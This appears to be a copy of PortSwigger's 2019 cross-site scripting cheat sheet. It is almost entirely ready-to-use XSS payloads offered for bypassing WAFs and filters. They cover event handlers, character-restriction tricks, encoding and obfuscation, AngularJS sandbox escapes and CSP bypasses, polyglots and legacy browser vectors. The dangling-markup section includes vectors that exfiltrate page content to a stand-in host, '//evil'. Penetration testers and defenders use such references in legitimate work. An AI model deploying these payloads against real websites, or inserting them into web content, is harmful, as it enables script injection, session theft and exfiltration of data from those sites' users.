Cross-site scripting (XSS) cheat sheet

This cross-site scripting (XSS) cheat sheet contains many vectors that can help you bypass WAFs and filters. You can select vectors by the event, tag or browser and a proof of concept is included for every vector. This cheat sheet is regularly updated in 2019. Last updated: Fri, 08 Nov 2019 10:58:07 +0000.

Event handlers

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Event handlers that do not require user interaction

onactivate

Fires when the element is activated

a

```
<a id=x tabindex=1 onactivate=alert(1)></a>
```

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Compatibility:

onafterprint

Fires after the page is printed

body

```
<body onafterprint=alert(1)>
```

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Compatibility:

onanimationcancel

Fires when a CSS animation cancels

a

```
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><a id=x
style="position:absolute;" onanimationcancel="alert(1)"></a>
```

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Compatibility:

onanimationend

Fires when a CSS animation ends

a

```
<style>@keyframes x{}</style><a style="animation-name:x" onanimationend="alert(1)"></a>
```

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Compatibility:

onanimationiteration

Fires when a CSS animation repeats

a

```
<style>@keyframes slidein {}</style><a style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2"
onanimationiteration="alert(1)"></a>
```

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Compatibility:

onanimationstart

Fires when a CSS animation starts

a

```
<style>@keyframes x{}</style><a style="animation-name:x" onanimationstart="alert(1)"></a>
```

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Compatibility:

onbeforeactivate

Fires before the element is activated

a

```
<a id=x tabindex=1 onbeforeactivate=alert(1)></a>
```

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Compatibility:

onbeforedeactivate

Fires before the element is deactivated

a ▾

```
<a id=x tabindex=1 onbeforedeactivate=alert(1)></a><input autofocus>
```

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Compatibility:

onbeforeprint

Fires before the page is printed

body ▾

```
<body onbeforeprint=alert(1)>
```

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Compatibility:

onbeforeunload

Fires after if the url changes

body ▾

```
<body onbeforeunload="location='javascript:alert(1)'">
```

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Compatibility:

onbegin

Fires when a svg animation begins

animate

```
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
```

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Compatibility:

onblur

Fires when an element loses focus

a

```
<a onblur=alert(1) tabindex=1 id=x></a><input autofocus>
```

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Compatibility:

onbounce

Fires when the marquee bounces

marquee

```
<marquee width=1 loop=1 onbounce=alert(1)>XSS</marquee>
```

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Compatibility:

oncanplay

Fires if the resource can be played

audio ▾

```
<audio oncanplay=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
```

Copy

Compatibility:

oncanplaythrough

Fires when enough data has been loaded to play the resource all the way through

video ▾

```
<video oncanplaythrough=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>
```

Copy

Compatibility:

ondeactivate

Fires when the element is deactivated

a ▾

```
<a id=x tabindex=1 ondeactivate=alert(1)></a><input id=y autofocus>
```

Copy

Compatibility:

onend

Fires when a svg animation ends

animate

```
<svg><animate onend=alert(1) attributeName=x dur=1s>
```

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Compatibility:

onended

Fires when the resource is finished playing

audio

```
<audio controls autoplay onended=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
```

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Compatibility:

onerror

Fires when the resource fails to load or causes an error

audio

```
<audio src/onerror=alert(1)>
```

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Compatibility:

onfinish

Fires when the marquee finishes

marquee ▾

```
<marquee width=1 loop=1 onfinish=alert(1)>XSS</marquee>
```

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Compatibility:

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onfocus

Fires when the element has focus

a ▾

```
<a id=x tabindex=1 onfocus=alert(1)></a>
```

Copy

Compatibility:

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onfocusin

Fires when the element has focus

a ▾

```
<a id=x tabindex=1 onfocusin=alert(1)></a>
```

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Compatibility:

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onfocusout

Fires when an element loses focus

a

```
<a onfocusout=alert(1) tabindex=1 id=x></a><input autofocus>
```

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Compatibility:

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onhashchange

Fires if the hash changes

body

```
<body onhashchange="alert(1)">
```

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Compatibility:

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onload

Fires when the element is loaded

a

```
<svg><a onload=alert(1)></a>
```

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Compatibility:

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onloadeddata

Fires when the first frame is loaded

audio ▾

```
<audio onloadeddata=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
```

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Compatibility:

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onloadedmetadata

Fires when the meta data is loaded

audio ▾

```
<audio autoplay onloadedmetadata=alert(1)> <source src="validaudio.wav" type="audio/wav"></audio>
```

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Compatibility:

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onloadend

Fires when the element finishes loading

image ▾

```
<image src=validimage.png onloadend=alert(1)>
```

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Compatibility:

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onloadstart

Fires when the element begins to load

image ▾

```
<image src=validimage.png onloadstart=alert(1)>
```

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Compatibility:

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onmessage

Fires when message event is received from a postMessage call

body ▾

```
<body onmessage=alert(1)>
```

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Compatibility:

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onpageshow

Fires when the page is shown

body ▾

```
<body onpageshow=alert(1)>
```

Copy

Compatibility:

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onplay

Fires when the resource is played

audio ▾

```
<audio autoplay onplay=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
```

Copy

Compatibility:

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onplaying

Fires the resource is playing

audio ▾

```
<audio autoplay onplaying=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
```

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Compatibility:

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onpopstate

Fires when the history changes

body ▾

```
<body onpopstate=alert(1)>
```

Copy

Compatibility:

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onreadystatechange

Fires when the ready state changes

applet ▾

```
<applet onreadystatechange=alert(1)></applet>
```

Copy

Compatibility:

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onrepeat

Fires when a svg animation repeats

animate ▾

```
<svg><animate onrepeat=alert(1) attributeName=x dur=1s repeatCount=2 />
```

Copy

Compatibility:

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onresize

Fires when the window is resized

body ▾

```
<body onresize="alert(1)">
```

Copy

Compatibility:

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onscroll

Fires when the page scrolls

body ▾

```
<body onscroll=alert(1)><div style=height:1000px></div><div id=x></div>
```

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Compatibility:

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onstart

Fires when the marquee starts

marquee ▾

```
<marquee onstart=alert(1)>XSS</marquee>
```

Copy

Compatibility:

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ontimeupdate

Fires when the timeline is changed

audio ▾

```
<audio controls autoplay ontimeupdate=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
```

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Compatibility:

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ontoggle

Fires when the details tag is expanded

details ▾

```
<details ontoggle=alert(1) open>test</details>
```

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Compatibility:

ontransitioncancel

Fires when a CSS transition cancels

a ▾

```
<style>:target {color: red;}</style><a id=x style="transition:color 10s" ontransitioncancel=alert(1)></a>
```

Copy

Compatibility:

ontransitionend

Fires when a CSS transition ends

a ▾

```
<style>:target {color:red;}</style><a id=x style="transition:color 1s" ontransitionend=alert(1)></a>
```

Copy

Compatibility:

ontransitionrun

Fires when a CSS transition begins

a

```
<style>:target {transform: rotate(180deg);}</style><a id=x style="transition:transform 2s" ontransitionrun=alert(1)></a>
```

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Compatibility:

onunhandledrejection

Fires when a promise isn't handled

body

```
<body onunhandledrejection=alert(1)><script>fetch('//xyz')</script>
```

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Compatibility:

onwaiting

Fires when while waiting for the data

video

```
<video autoplay controls onwaiting=alert(1)><source src="validvideo.mp4" type=video/mp4></video>
```

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Compatibility:

Event handlers that do require user interaction

onauxclick

Fires when right clicking or using the middle button of the mouse

input

```
<input onauxclick=alert(1)>
```

Copy

Compatibility:

onbeforecopy

Requires you copy a piece of text

a

```
<a onbeforecopy="alert(1)" contenteditable>test</a>
```

Copy

Compatibility:

onbeforecut

Requires you cut a piece of text

a

```
<a onbeforecut="alert(1)" contenteditable>test</a>
```

Copy

Compatibility:

onbeforepaste

Requires you paste a piece of text

a

```
<a onbeforepaste="alert(1)" contenteditable>test</a>
```

Copy

Compatibility:

onchange

Requires as change of value

input

```
<input onchange=alert(1) value=xss>
```

Copy

Compatibility:

onclick

Requires a click of the element

a

```
<a onclick="alert(1)">test</a>
```

Copy

Compatibility:

oncontextmenu

Triggered when right clicking to show the context menu

a

```
<a oncontextmenu="alert(1)">test</a>
```

Copy

Compatibility:

oncopy

Requires you copy a piece of text

a

```
<a oncopy="alert(1)" contenteditable>test</a>
```

Copy

Compatibility:

oncut

Requires you cut a piece of text

a

```
<a oncut="alert(1)" contenteditable>test</a>
```

Copy

Compatibility:

ondblclick

Triggered when double clicking the element

a

```
<a ondblclick="alert(1)">test</a>
```

Copy

Compatibility:

ondrag

Triggered dragging the element

a

```
<a draggable="true" ondrag="alert(1)">test</a>
```

Copy

Compatibility:

ondragend

Triggered dragging is finished on the element

a

```
<a draggable="true" ondragend="alert(1)">test</a>
```

Copy

Compatibility:

ondragenter

Requires a mouse drag

a

```
<a draggable="true" ondragenter="alert(1)">test</a>
```

Copy

Compatibility:

ondragleave

Requires a mouse drag

a

```
<a draggable="true" ondragleave="alert(1)">test</a>
```

Copy

Compatibility:

ondragover

Triggered dragging over an element

a

```
<div draggable="true" contenteditable>drag me</div><a ondragover=alert(1) contenteditable>drop here</a>
```

Copy

Compatibility:

ondragstart

Requires a mouse drag

a

```
<a draggable="true" ondragstart="alert(1)">test</a>
```

Copy

Compatibility:

ondrop

Triggered dropping a draggable element

a

```
<div draggable="true" contenteditable>drag me</div><a ondrop=alert(1) contenteditable>drop here</a>
```

Copy

Compatibility:

oninput

Requires as change of value

input

```
<input oninput=alert(1) value=xss>
```

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Compatibility:

oninvalid

Requires a form submission with an element that does not satisfy its constraints such as a required attribute.

input ▾

```
<form><input oninvalid=alert(1) required><input type=submit>
```

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Compatibility:

onkeydown

Triggered when a key is pressed

a ▾

```
<a onkeydown="alert(1)" contenteditable>test</a>
```

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Compatibility:

onkeypress

Triggered when a key is pressed

a ▾

```
<a onkeypress="alert(1)" contenteditable>test</a>
```

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Compatibility:

onkeyup

Triggered when a key is released

a

```
<a onkeyup="alert(1)" contenteditable>test</a>
```

Copy

Compatibility:

onmousedown

Triggered when the mouse is pressed

a

```
<a onmousedown="alert(1)">test</a>
```

Copy

Compatibility:

onmouseenter

Triggered when the mouse is hovered over the element

a

```
<a onmouseenter="alert(1)">test</a>
```

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Compatibility:

onmouseleave

Triggered when the mouse is moved away from the element

a

```
<a onmouseleave="alert(1)">test</a>
```

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Compatibility:

onmousemove

Requires mouse movement

a

```
<a onmousemove="alert(1)">test</a>
```

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Compatibility:

onmouseout

Triggered when the mouse is moved away from the element

a

```
<a onmouseout="alert(1)">test</a>
```

Copy

Compatibility:

onmouseover

Requires a hover over the element

a

```
<a onmouseover="alert(1)">test</a>
```

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Compatibility:

onmouseup

Triggered when the mouse button is released

a

```
<a onmouseup="alert(1)">test</a>
```

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Compatibility:

onpaste

Requires you paste a piece of text

a

```
<a onpaste="alert(1)" contenteditable>test</a>
```

Copy

Compatibility:

onpause

Requires clicking the element to pause

audio ▾

```
<audio autoplay controls onpause=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
```

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Compatibility:

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onreset

Requires a click

form ▾

```
<form onreset=alert(1)><input type=reset>
```

Copy

Compatibility:

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onsearch

Fires when a form is submitted and the input has a type attribute of search

input ▾

```
<form><input type=search onsearch=alert(1) value="Hit return" autofocus>
```

Copy

Compatibility:

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onseeked

Requires clicking the element timeline

audio ▾

```
<audio autoplay controls onseeked=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
```

Copy

Compatibility:

onseeking

Requires clicking the element timeline

audio ▾

```
<audio autoplay controls onseeking=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
```

Copy

Compatibility:

onselect

Requires you select text

input ▾

```
<input onselect=alert(1) value="XSS" autofocus>
```

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Compatibility:

onsubmit

Requires a form submission

form ▾

```
<form onsubmit=alert(1)><input type=submit>
```

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Compatibility:

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onunload

Requires a click anywhere on the page and a reload

svg ▾

```
<svg onunload=window.open('javascript:alert(1)')>
```

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Compatibility:

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onvolumechange

Requires volume adjustment

audio ▾

```
<audio autoplay controls onvolumechange=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
```

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Compatibility:

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onwheel

Fires when you use the mouse wheel

body ▾

```
<body onwheel=alert(1)>
```

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Compatibility:

Restricted characters

No parentheses using exception handling

```
<script>onerror=alert;throw 1</script>
```

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No parentheses using exception handling no semi colons

```
<script>{onerror=alert}throw 1</script>
```

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No parentheses using exception handling no semi colons using expressions

```
<script>throw onerror=alert,1</script>
```

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No parentheses using exception handling and eval

```
<script>throw onerror=eval,'=alert\x281\x29'</script>
```

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No parentheses using exception handling and eval on Firefox

```
<script>{onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:1,message:'alert\x281\x29'}</script>
```

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No parentheses using ES6 hasInstance and instanceof with eval

```
<script>'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}</script>
```

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No parentheses using ES6 hasInstance and instanceof with eval without .

```
<script>'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}</script>
```

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No parentheses using location redirect

```
<script>location='javascript:alert\x281\x29'</script>
```

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No parentheses using location redirect no strings

```
<script>location=name</script>
```

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No parentheses using template strings

```
<script>alert`1`</script>
```

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Frameworks

Bootstrap onanimationstart event

```
<xss class=progress-bar-animated onanimationstart=alert(1)>
```

Copy

Bootstrap ontransitionend event

```
<xss class="carousel slide" data-ride=carousel data-interval=100 ontransitionend=alert(1)><xss class=carousel-inner><xss class="carousel-item active"></xss><xss class=carousel-item></xss></xss></xss>
```

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Protocols

Iframe src attribute JavaScript protocol

```
<iframe src="javascript:alert(1)">
```

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Object data attribute with JavaScript protocol

```
<object data="javascript:alert(1)">
```

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Embed src attribute with JavaScript protocol

```
<embed src="javascript:alert(1)">
```

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A standard JavaScript protocol

```
<a href="javascript:alert(1)">XSS</a>
```

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The protocol is not case sensitive

```
<a href="JaVaScript:alert(1)">XSS</a>
```

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Characters \x01-\x20 are allowed before the protocol

```
<a href="        javascript:alert(1)">XSS</a>
```

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Characters \x09,\x0a,\x0d are allowed inside the protocol

```
<a href="javas  cript:alert(1)">XSS</a>
```

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Characters \x09,\x0a,\x0d are allowed after protocol name before the colon

```
<a href="javascript
:alert(1)">XSS</a>
```

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Xlink namespace inside SVG with JavaScript protocol

```
<svg><a xlink:href="javascript:alert(1)"><text x="20" y="20">XSS</text></a>
```

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SVG animate tag using values

```
<svg><animate xlink:href=#xss attributeName=href values=javascript:alert(1) /><a id=xss><text x=20 y=20>XSS</text></a>
```

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SVG animate tag using to

```
<svg><animate xlink:href=#xss attributeName=href from=javascript:alert(1) to=1 /><a id=xss><text x=20 y=20>XSS</text></a>
```

Copy

SVG set tag

```
<svg><set xlink:href=#xss attributeName=href from=? to=javascript:alert(1) /><a id=xss><text x=20 y=20>XSS</text></a>
```

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Data protocol inside script src

```
<script src="data:text/javascript,alert(1)"></script>
```

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SVG script href attribute without closing script tag

```
<svg><script href="data:text/javascript,alert(1)" />
```

Copy

SVG use element Chrome/Firefox

```
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink'
```

```
width='100' height='100'><a xlink:href='javascript:alert(1)'><rect x='0' y='0' width='100' height='100' /></a></svg>#x"></use>
</svg>
```

Copy

Import statement with data URL

```
<script>import('data:text/javascript,alert(1)')</script>
```

Copy

Base tag with JavaScript protocol rewriting relative URLS

```
<base href="javascript:/a/-alert(1)///////"><a href=../lol/safari.html>test</a>
```

Copy

MathML makes any tag clickable

```
<math><x href="javascript:alert(1)">blah
```

Copy

Button and formaction

```
<form><button formaction=javascript:alert(1)>XSS
```

Copy

Input and formaction

```
<form><input type=submit formaction=javascript:alert(1) value=XSS>
```

Copy

Form and action

```
<form action=javascript:alert(1)><input type=submit value=XSS>
```

Copy

Isindex and formaction

```
<isindex type=submit formaction=javascript:alert(1)>
```

Copy

Isindex and action

```
<isindex type=submit action=javascript:alert(1)>
```

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Use element with an external URL

```
<svg><use href="//subdomain1.portswigger-labs.net/use_element/upload.php#x" /></svg>
```

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Other useful attributes

Using srcdoc attribute

```
<iframe srcdoc="<img src=1 onerror=alert(1)>"></iframe>
```

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Using srcdoc with entities

```
<iframe srcdoc="&lt;img src=1 onerror=alert(1)&gt;"></iframe>
```

Copy

Click a submit element from anywhere on the page, even outside the form

```
<form action="javascript:alert(1)"><input type=submit id=x></form><label for=x>XSS</label>
```

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Hidden inputs: Access key attributes can enable XSS on normally unexploitable elements

```
<input type="hidden" accesskey="X" onclick="alert(1)"> (Press ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X)
```

Copy

Link elements: Access key attributes can enable XSS on normally unexploitable elements

```
<link rel="canonical" accesskey="X" onclick="alert(1)" /> (Press ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X)
```

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Download attribute can save a copy of the current webpage

```
<a href=# download="filename.html">Test</a>
```

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Disable referrer using referrerpolicy

```
<img referrerpolicy="no-referrer" src="//portswigger-labs.net">
```

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Special tags

Redirect to a different domain

```
<meta http-equiv="refresh" content="0; url=//portswigger-labs.net">
```

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Meta charset attribute UTF-7

```
<meta charset="UTF-7" /> +ADw-script+AD4-alert(1)+ADw-/script+AD4-
```

Copy

Meta charset UTF-7

```
<meta http-equiv="Content-Type" content="text/html; charset=UTF-7" /> +ADw-script+AD4-alert(1)+ADw-/script+AD4-
```

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UTF-7 BOM characters (Has to be at the start of the document) 1

```
+/v8
+ADw-script+AD4-alert(1)+ADw-/script+AD4-
```

Copy

UTF-7 BOM characters (Has to be at the start of the document) 2

```
+/v9
+ADw-script+AD4-alert(1)+ADw-/script+AD4-
```

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UTF-7 BOM characters (Has to be at the start of the document) 3

```
+/v+
+ADw-script+AD4-alert(1)+ADw-/script+AD4-
```

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UTF-7 BOM characters (Has to be at the start of the document) 4

```
+/v/
+ADw-script+AD4-alert(1)+ADw-/script+AD4-
```

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Upgrade insecure requests

```
<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">
```

Copy

Disable JavaScript via iframe sandbox

```
<iframe sandbox src="//portswigger-labs.net"></iframe>
```

Copy

Disable referer

```
<meta name="referrer" content="no-referrer">
```

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Encoding

Overlong UTF-8

```
%C0%BCscript>alert(1)</script>
%E0%80%BCscript>alert(1)</script>
%F0%80%80%BCscript>alert(1)</script>
%F8%80%80%80%BCscript>alert(1)</script>
%FC%80%80%80%80%BCscript>alert(1)</script>
```

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Unicode escapes

```
<script>\u0061lert(1)</script>
```

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Unicode escapes ES6 style

```
<script>\u{61}lert(1)</script>
```

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Unicode escapes ES6 style zero padded

```
<script>\u{0000000061}lert(1)</script>
```

Copy

Hex encoding JavaScript escapes

```
<script>eval('\x61lert(1)')</script>
```

Copy

Octal encoding

```
<script>eval('\141lert(1)')</script>
<script>eval('alert(\061)')</script>
```

<script>eval('alert(\61)')</script>

Copy

Decimal encoding with optional semi-colon

```
<a href="&#106;avascript:alert(1)">XSS</a><a href="&#106avascript:alert(1)">XSS</a>
```

Copy

SVG script with HTML encoding

```
<svg><script>&#97;lert(1)</script></svg>
<svg><script>&#x61;lert(1)</script></svg>
<svg><script>alert&NewLine;(1)</script></svg>
<svg><script>x="&quot;,alert(1)//";</script></svg>
```

Copy

Decimal encoding with padded zeros

```
<a href="&#0000106avascript:alert(1)">XSS</a>
```

Copy

Hex encoding entities

```
<a href="&#x6a;avascript:alert(1)">XSS</a>
```

Copy

Hex encoding without semi-colon provided next character is not a-f0-9

```
<a href="j&#x61vascript:alert(1)">XSS</a>
<a href="&#x6a
avascript:alert(1)">XSS</a>
<a href="&#x6a avascript:alert(1)">XSS</a>
```

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Hex encoding with padded zeros

```
<a href="&#x0000006a;avascript:alert(1)">XSS</a>
```

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Hex encoding is not case sensitive

```
<a href="&#X6A;avascript:alert(1)">XSS</a>
```

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HTML entities

```
<a href="javascript&colon;alert(1)">XSS</a>
<a href="java&Tab;script:alert(1)">XSS</a>
<a href="java&NewLine;script:alert(1)">XSS</a>
<a href="javascript&colon;alert&lpar;1&rpar;">XSS</a>
```

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URL encoding

```
<a href="javascript:x='%27-alert(1)-%27';">XSS</a>
```

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HTML entities and URL encoding

```
<a href="javascript:x='&percnt;27-alert(1)-%27';">XSS</a>
```

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Obfuscation

Firefox allows NULLS after &

```
<a href="javascript&#x6a;avascript:alert(1)">Firefox</a>
```

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Firefox allows NULLs inside named entities

```
<a href="javascript&colon;alert(1)">Firefox</a>
```

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Firefox allows NULL characters inside opening comments

```
<!-- ><img title="--><iframe/onload=alert(1)>"> -->
<!-- ><img title="--><iframe/onload=alert(1)>"> -->
```

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Data protocol inside script src with base64

```
<script src=data:text/javascript;base64,YWxlcnQoMSk=></script>
```

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Client-side template injection

AngularJS sandbox escapes reflected

1.0.1 - 1.1.5

Mario Heiderich (Cure53)

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```
{{constructor.constructor('alert(1)')()}}
```

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1.0.1 - 1.1.5 (shorter)

Gareth Heyes (PortSwigger) & **Lewis Ardern** (Synopsys)

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```
{{$on.constructor('alert(1)')()}}
```

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1.2.0 - 1.2.1

Jan Horn (Google)

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```
{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}
```

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1.2.2 - 1.2.5

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```
{{{}.")));alert(1)//"}}
```

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1.2.6 - 1.2.18

Jan Horn (Google)

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```
{{(_='').sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}
```

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1.2.19 - 1.2.23

Mathias Karlsson (Detectify)

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```
{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}
```

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1.2.24 - 1.2.29

Gareth Heyes (PortSwigger)

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```
{{{}.")));alert(1)//"}}
```

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1.2.27-1.2.29/1.3.0-1.3.20

Gareth Heyes (PortSwigger)

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```
{{{}.")));alert(1)//"}}
```

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1.3.0

Gábor Molnár (Google)

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```
{{!ready && (ready = true) && (

!call
? $$watchers[0].get(toString.constructor.prototype)
: (a = apply) &&
(apply = constructor) &&
(valueOf = call) &&
(''+''.toString(
'F = Function.prototype;' +
'F.apply = F.a;' +
'delete F.a;' +
'delete F.valueOf;' +
'alert(1);'
)));}}
```

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1.3.3 - 1.3.18

Gareth Heyes (PortSwigger)

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```
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;'a'.constructor.prototype.charAt=
[].join;$eval('x=alert(1)//');}}
```

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1.3.19

Gareth Heyes (PortSwigger)

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```
{{'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join;$eval('x=alert(1)//');}}
```

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1.3.20

Gareth Heyes (PortSwigger)

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```
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}
```

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1.4.0 - 1.4.9

Gareth Heyes (PortSwigger)

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```
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
```

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1.5.0 - 1.5.8

Ian Hickey & **Gareth Heyes** (PortSwigger)

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```
{{x={'y':''.constructor.prototype};x['y'].charAt=[].join;$eval('x=alert(1)');}}
```

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1.5.9 - 1.5.11

Jan Horn (Google)

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```
{{
c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
c.$apply=$apply;c.$eval=b;op=$root.$$phase;
$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
B=C(b,c,b);$evalAsync("
astNode=pop();astNode.type='UnaryExpression';
astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
astNode.argument={type:'Identifier',name:'foo'};
");
m1=B($$asyncQueue.pop().expression,null,$root);
m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
$eval('a(b.c)');[].push.apply=a;
}}
```

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>=1.6.0

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```
{{constructor.constructor('alert(1)')()}}
```

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```
{{$on.constructor('alert(1)')()}}
```

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DOM based AngularJS sandbox escapes (Using orderBy or no $eval)

1.0.1 - 1.1.5

Mario Heiderich (Cure53)

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```
constructor.constructor('alert(1)')()
```

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1.2.0 - 1.2.18

Jan Horn (Google)

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```
a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()
```

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1.2.19 - 1.2.23

Mathias Karlsson (Detectify)

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```
toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor)
```

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1.2.24 - 1.2.26

Gareth Heyes (PortSwigger)

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```
{}[['__proto__']]['x']=constructor.getOwnPropertyDescriptor;g={}[['__proto__']]['x'];{}[['__proto__']]
['y']=g(''.sub[['__proto__']],'constructor');{}[['__proto__']]['z']=constructor.defineProperty;d={}[['__proto__']]
['z'];d(''.sub[['__proto__']],'constructor',{value:false});{}[['__proto__']]['y'].value('alert(1)')()
```

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1.2.27-1.2.29/1.3.0-1.3.20

Gareth Heyes (PortSwigger)

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```
{}.")));alert(1)//";
```

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1.4.0-1.4.5

Gareth Heyes (PortSwigger)

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```
'a'.constructor.prototype.charAt=[].join;[1]|orderBy:'x=1} } };alert(1)//';
```

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>=1.6.0

Mario Heiderich (Cure53)

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```
constructor.constructor('alert(1)')()
```

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1.4.4 (without strings)

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```
toString().constructor.prototype.charAt=[].join;
[1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)
```

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AngularJS CSP bypasses

All versions (Chrome)

Gareth Heyes (PortSwigger)

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```
<input autofocus ng-focus="$event.path|orderBy:'[].constructor.from([1],alert)'">
```

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All versions (Chrome) shorter

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```
<input id=x ng-focus=$event.path|orderBy:'(z=alert)(1)'>
```

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All versions (all browsers) shorter

Gareth Heyes (PortSwigger)

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```
<input autofocus ng-focus="$event.composedPath()|orderBy:'[].constructor.from([1],alert)'">
```

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1.2.0 - 1.5.0

Eduardo Vela (Google)

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```
<div ng-app ng-csp><div ng-focus="x=$event;" id=f tabindex=0>foo</div><div ng-repeat="(key, value) in x.view"><div ng-if="key == 'window'">{{ [1].reduce(value.alert, 1); }}</div></div></div>
```

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Scriptless attacks

Dangling markup

Background attribute

```
<body background="//evil?
<table background="//evil?
<table><thead background="//evil?
<table><tbody background="//evil?
<table><tfoot background="//evil?
<table><td background="//evil?
<table><th background="//evil?
```

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Link href stylesheet

```
<link rel=stylesheet href="//evil?
```

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Link href icon

```
<link rel=icon href="//evil?
```

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Meta refresh

```
<meta http-equiv="refresh" content="0; http://evil?
```

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Img to pass markup through src attribute

```
<img src="//evil?
<image src="//evil?
```

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Video using track element

```
<video><track default src="//evil?
```

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Video using source element and src attribute

```
<video><source src="//evil?
```

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Audio using source element and src attribute

```
<audio><source src="//evil?
```

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Input src

```
<input type=image src="//evil?
```

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Button using formaction

```
<form><button style="width:100%;height:100%" type=submit formaction="//evil?
```

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Input using formaction

```
<form><input type=submit value="XSS" style="width:100%;height:100%" type=submit formaction="//evil?
```

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Form using action

```
<button form=x style="width:100%;height:100%;"><form id=x action="//evil?
```

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Isindex using src attribute

```
<isindex type=image src="//evil?
```

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Isindex using submit

```
<isindex type=submit style=width:100%;height:100%; value=XSS formaction="//evil?
```

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Object data

```
<object data="//evil?
```

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Iframe src

```
<iframe src="//evil?
```

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Embed src

```
<embed src="//evil?
```

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Use textarea to consume markup and post to external site

```
<form><button formaction=//evil>XSS</button><textarea name=x>
```

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Pass markup data through window.name using form target

```
<button form=x>XSS</button><form id=x action=//evil target='
```

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Pass markup data through window.name using base target

```
<a href=http://subdomain1.portswigger-labs.net/dangling_markup/name.html><font size=100 color=red>You must click me</font></a>
<base target="
```

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Pass markup data through window.name using formtarget

```
<form><input type=submit value="Click me" formaction=http://subdomain1.portswigger-labs.net/dangling_markup/name.html
formtarget="
```

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Using base href to pass data

```
<a href=abc style="width:100%;height:100%;position:absolute;font-size:1000px;">xss<base href="//evil/
```

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Using embed window name to pass data from the page

```
<embed src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="
```

Copy

Using iframe window name to pass data from the page

```
<iframe src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="
```

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Using object window name to pass data from the page

```
<object data=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="
```

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Using frame window name to pass data from the page

```
<frameset><frame src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="
```

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Polyglots

Polyglot payload 1

```
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
```

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Polyglot payload 2

```
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \"
 onmouseover=/*&lt;svg/*/onload=alert()//>
```

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Classic vectors (XSS crypt)

Image src with JavaScript protocol

```
<img src="javascript:alert(1)">
```

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Body background with JavaScript protocol

```
<body background="javascript:alert(1)">
```

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Iframe data urls no longer work as modern browsers use a null origin

```
<iframe src="data:text/html,<img src=1 onerror=alert(document.domain)>">
```

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VBScript protocol used to work in IE

```
<a href="vbscript:MsgBox+1">XSS</a>
```

```
<a href="#" onclick="vbs:Msgbox+1">XSS</a>

<a href="#" onclick="VBS:Msgbox+1">XSS</a>
<a href="#" onclick="vbscript:Msgbox+1">XSS</a>
<a href="#" onclick="VBSCRIPT:Msgbox+1">XSS</a>
<a href="#" language=vbs onclick="vbscript:Msgbox+1">XSS</a>
```

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JScript compact was a minimal version of JS that wasn't widely used in IE

```
<a href="#" onclick="jscript.compact:alert(1);">test</a>
<a href="#" onclick="JSCRIPT.COMPACT:alert(1);">test</a>
```

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JScript.Encode allows encoded JavaScript

```
<a href=# language="JScript.Encode" onclick="#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@">XSS</a>
<a href=# onclick="JScript.Encode:#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@">XSS</a>
```

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VBScript.Encoded allows encoded VBScript

```
<iframe onload=VBScript.Encode:#@~^CAAAAA==\ko$K6,FoQIAAA==^#~@>
<iframe language=VBScript.Encode onload=#@~^CAAAAA==\ko$K6,FoQIAAA==^#~@>
```

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JavaScript entities used to work in Netscape Navigator

```
<a title="&{alert(1)}">XSS</a>
```

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JavaScript stylesheets used to be supported by Netscape Navigator

```
<link href="xss.js" rel=stylesheet type="text/javascript">
```

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Button used to consume markup

```
<form><button name=x formaction=x><b>stealme
```

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IE9 select elements and plaintext used to consume markup

```
<form action=x><button>XSS</button><select name=x><option><plaintext><script>token="supersecret"</script>
```

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XBL Firefox only <= 2

```
<div style="-moz-binding:url(//businessinfo.co.uk/labs/xbl/xbl.xml#xss)">
<div style="\-\mo\z-binding:url(//businessinfo.co.uk/labs/xbl/xbl.xml#xss)">
<div style="-moz-bindin\67:url(//businessinfo.co.uk/lab s/xbl/xbl.xml#xss)">
